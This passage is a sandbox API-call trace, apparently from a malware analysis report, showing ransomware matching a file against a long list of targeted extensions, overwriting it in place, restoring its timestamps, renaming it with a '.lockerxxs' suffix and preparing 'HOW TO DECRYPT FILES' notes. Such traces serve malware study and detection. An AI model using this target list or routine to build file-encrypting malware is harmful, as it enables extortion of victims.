HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.397] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.397] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.397] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\how to decrypt files.txt")) returned 0x2020 [0087.397] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="DY9YtikVPP2o.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.ems") returned 0 [0087.397] lstrlenA (lpString="*.ems") returned 5 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.db") returned 0 [0087.397] lstrlenA (lpString="*.db") returned 4 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.dbf") returned 0 [0087.397] lstrlenA (lpString="*.dbf") returned 5 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.myox") returned 0 [0087.397] lstrlenA (lpString="*.myox") returned 6 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.myo") returned 0 [0087.397] lstrlenA (lpString="*.myo") returned 5 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbw") returned 0 [0087.397] lstrlenA (lpString="*.qbw") returned 5 [0087.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbb") returned 0 [0087.398] lstrlenA (lpString="*.qbb") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbm") returned 0 [0087.398] lstrlenA (lpString="*.qbm") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbo") returned 0 [0087.398] lstrlenA (lpString="*.qbo") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbx") returned 0 [0087.398] lstrlenA (lpString="*.qbx") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qba") returned 0 [0087.398] lstrlenA (lpString="*.qba") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qby") returned 0 [0087.398] lstrlenA (lpString="*.qby") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qbj") returned 0 [0087.398] lstrlenA (lpString="*.qbj") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.ofx") returned 0 [0087.398] lstrlenA (lpString="*.ofx") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.qif") returned 0 [0087.398] lstrlenA (lpString="*.qif") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mye") returned 0 [0087.398] lstrlenA (lpString="*.mye") returned 5 [0087.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mbox") returned 0 [0087.399] lstrlenA (lpString="*.mbox") returned 6 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.eml") returned 0 [0087.399] lstrlenA (lpString="*.eml") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.pst") returned 0 [0087.399] lstrlenA (lpString="*.pst") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.ost") returned 0 [0087.399] lstrlenA (lpString="*.ost") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.idx") returned 0 [0087.399] lstrlenA (lpString="*.idx") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.dbx") returned 0 [0087.399] lstrlenA (lpString="*.dbx") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.sql") returned 0 [0087.399] lstrlenA (lpString="*.sql") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mdb") returned 0 [0087.399] lstrlenA (lpString="*.mdb") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.fdb") returned 0 [0087.399] lstrlenA (lpString="*.fdb") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.wab") returned 0 [0087.399] lstrlenA (lpString="*.wab") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.dat") returned 0 [0087.399] lstrlenA (lpString="*.dat") returned 5 [0087.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.txt") returned 0 [0087.400] lstrlenA (lpString="*.txt") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.jpeg") returned 0 [0087.400] lstrlenA (lpString="*.jpeg") returned 6 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.jpg") returned 0 [0087.400] lstrlenA (lpString="*.jpg") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.png") returned 0 [0087.400] lstrlenA (lpString="*.png") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.php") returned 0 [0087.400] lstrlenA (lpString="*.php") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.cs") returned 0 [0087.400] lstrlenA (lpString="*.cs") returned 4 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.cpp") returned 0 [0087.400] lstrlenA (lpString="*.cpp") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.rar") returned 0 [0087.400] lstrlenA (lpString="*.rar") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.zip") returned 0 [0087.400] lstrlenA (lpString="*.zip") returned 5 [0087.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.html") returned 0 [0087.400] lstrlenA (lpString="*.html") returned 6 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.htm") returned 0 [0087.401] lstrlenA (lpString="*.htm") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.xlsx") returned 0 [0087.401] lstrlenA (lpString="*.xlsx") returned 6 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.xls") returned 0 [0087.401] lstrlenA (lpString="*.xls") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mp4") returned 0 [0087.401] lstrlenA (lpString="*.mp4") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.ppt") returned 0 [0087.401] lstrlenA (lpString="*.ppt") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.pptx") returned 0 [0087.401] lstrlenA (lpString="*.pptx") returned 6 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.doc") returned 0 [0087.401] lstrlenA (lpString="*.doc") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.dot") returned 0 [0087.401] lstrlenA (lpString="*.dot") returned 5 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.docx") returned 0 [0087.401] lstrlenA (lpString="*.docx") returned 6 [0087.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.7z") returned 0 [0087.401] lstrlenA (lpString="*.7z") returned 4 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.tar") returned 0 [0087.402] lstrlenA (lpString="*.tar") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.bz2") returned 0 [0087.402] lstrlenA (lpString="*.bz2") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.gz") returned 0 [0087.402] lstrlenA (lpString="*.gz") returned 4 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mkv") returned 0 [0087.402] lstrlenA (lpString="*.mkv") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.eml") returned 0 [0087.402] lstrlenA (lpString="*.eml") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.msg") returned 0 [0087.402] lstrlenA (lpString="*.msg") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.edb") returned 0 [0087.402] lstrlenA (lpString="*.edb") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.accdb") returned 0 [0087.402] lstrlenA (lpString="*.accdb") returned 7 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.odb") returned 0 [0087.402] lstrlenA (lpString="*.odb") returned 5 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.java") returned 0 [0087.402] lstrlenA (lpString="*.java") returned 6 [0087.402] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.asm") returned 0 [0087.403] lstrlenA (lpString="*.asm") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.pfx") returned 0 [0087.403] lstrlenA (lpString="*.pfx") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.pem") returned 0 [0087.403] lstrlenA (lpString="*.pem") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.p12") returned 0 [0087.403] lstrlenA (lpString="*.p12") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.gpg") returned 0 [0087.403] lstrlenA (lpString="*.gpg") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.vsd") returned 0 [0087.403] lstrlenA (lpString="*.vsd") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.odg") returned 0 [0087.403] lstrlenA (lpString="*.odg") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.raw") returned 0 [0087.403] lstrlenA (lpString="*.raw") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.nef") returned 0 [0087.403] lstrlenA (lpString="*.nef") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.svg") returned 0 [0087.403] lstrlenA (lpString="*.svg") returned 5 [0087.403] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.psd") returned 0 [0087.403] lstrlenA (lpString="*.psd") returned 5 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.vmx") returned 0 [0087.404] lstrlenA (lpString="*.vmx") returned 5 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.vmdk") returned 0 [0087.404] lstrlenA (lpString="*.vmdk") returned 6 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.vdi") returned 0 [0087.404] lstrlenA (lpString="*.vdi") returned 5 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.lay6") returned 0 [0087.404] lstrlenA (lpString="*.lay6") returned 6 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mpeg") returned 0 [0087.404] lstrlenA (lpString="*.mpeg") returned 6 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.djvu") returned 0 [0087.404] lstrlenA (lpString="*.djvu") returned 6 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.tiff") returned 0 [0087.404] lstrlenA (lpString="*.tiff") returned 6 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.backup") returned 0 [0087.404] lstrlenA (lpString="*.backup") returned 8 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.pdf") returned 0 [0087.404] lstrlenA (lpString="*.pdf") returned 5 [0087.404] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.cert") returned 0 [0087.404] lstrlenA (lpString="*.cert") returned 6 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.docm") returned 0 [0087.405] lstrlenA (lpString="*.docm") returned 6 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.xlsm") returned 0 [0087.405] lstrlenA (lpString="*.xlsm") returned 6 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.dwg") returned 0 [0087.405] lstrlenA (lpString="*.dwg") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.nd") returned 0 [0087.405] lstrlenA (lpString="*.nd") returned 4 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.tlg") returned 0 [0087.405] lstrlenA (lpString="*.tlg") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.lgb") returned 0 [0087.405] lstrlenA (lpString="*.lgb") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mov") returned 0 [0087.405] lstrlenA (lpString="*.mov") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.xdw") returned 0 [0087.405] lstrlenA (lpString="*.xdw") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.ods") returned 0 [0087.405] lstrlenA (lpString="*.ods") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.wav") returned 0 [0087.405] lstrlenA (lpString="*.wav") returned 5 [0087.405] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", pszSpec="*.mp3") returned 1 [0087.406] lstrlenA (lpString="*.mp3") returned 5 [0087.406] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" [0087.406] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" [0087.406] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3." [0087.406] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3.lockerxxs" [0087.406] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dy9ytikvpp2o.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0087.407] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17b2b [0087.407] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5c4aa70, dwHighDateTime=0x1d5e3dd), lpLastAccessTime=0x407536*(dwLowDateTime=0x49357940, dwHighDateTime=0x1d5db9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0x49357940, dwHighDateTime=0x1d5db9c)) returned 1 [0087.407] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.407] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x17b05, lpOverlapped=0x0) returned 1 [0087.409] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3") returned="DY9YtikVPP2o.mp3" [0087.410] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0087.410] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x17b05, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x17b05, lpOverlapped=0x0) returned 1 [0087.410] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0087.411] CloseHandle (hObject=0x8c) returned 1 [0087.411] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dy9ytikvpp2o.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dy9ytikvpp2o.mp3.lockerxxs")) returned 1 [0087.412] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46745d0, ftCreationTime.dwHighDateTime=0x1d5e729, ftLastAccessTime.dwLowDateTime=0xb3262a80, ftLastAccessTime.dwHighDateTime=0x1d5dd76, ftLastWriteTime.dwLowDateTime=0xb3262a80, ftLastWriteTime.dwHighDateTime=0x1d5dd76, nFileSizeHigh=0x0, nFileSizeLow=0xc1f1, dwReserved0=0x33000330, dwReserved1=0x4e00c4, cFileName="eLjr.xls", cAlternateFileName="")) returned 1 [0087.412] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0087.412] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eLjr.xls") returned -1 [0087.412] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eLjr.xls") returned 1 [0087.413] lstrcmpiA (lpString1="", lpString2="eLjr.xls") returned -1 [0087.413] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DY9YtikVPP2o.mp3") returned="DY9YtikVPP2o.mp3" [0087.413] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0087.413] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="" [0087.413] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" [0087.413] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\HOW TO DECRYPT FILES.txt" (normalized: 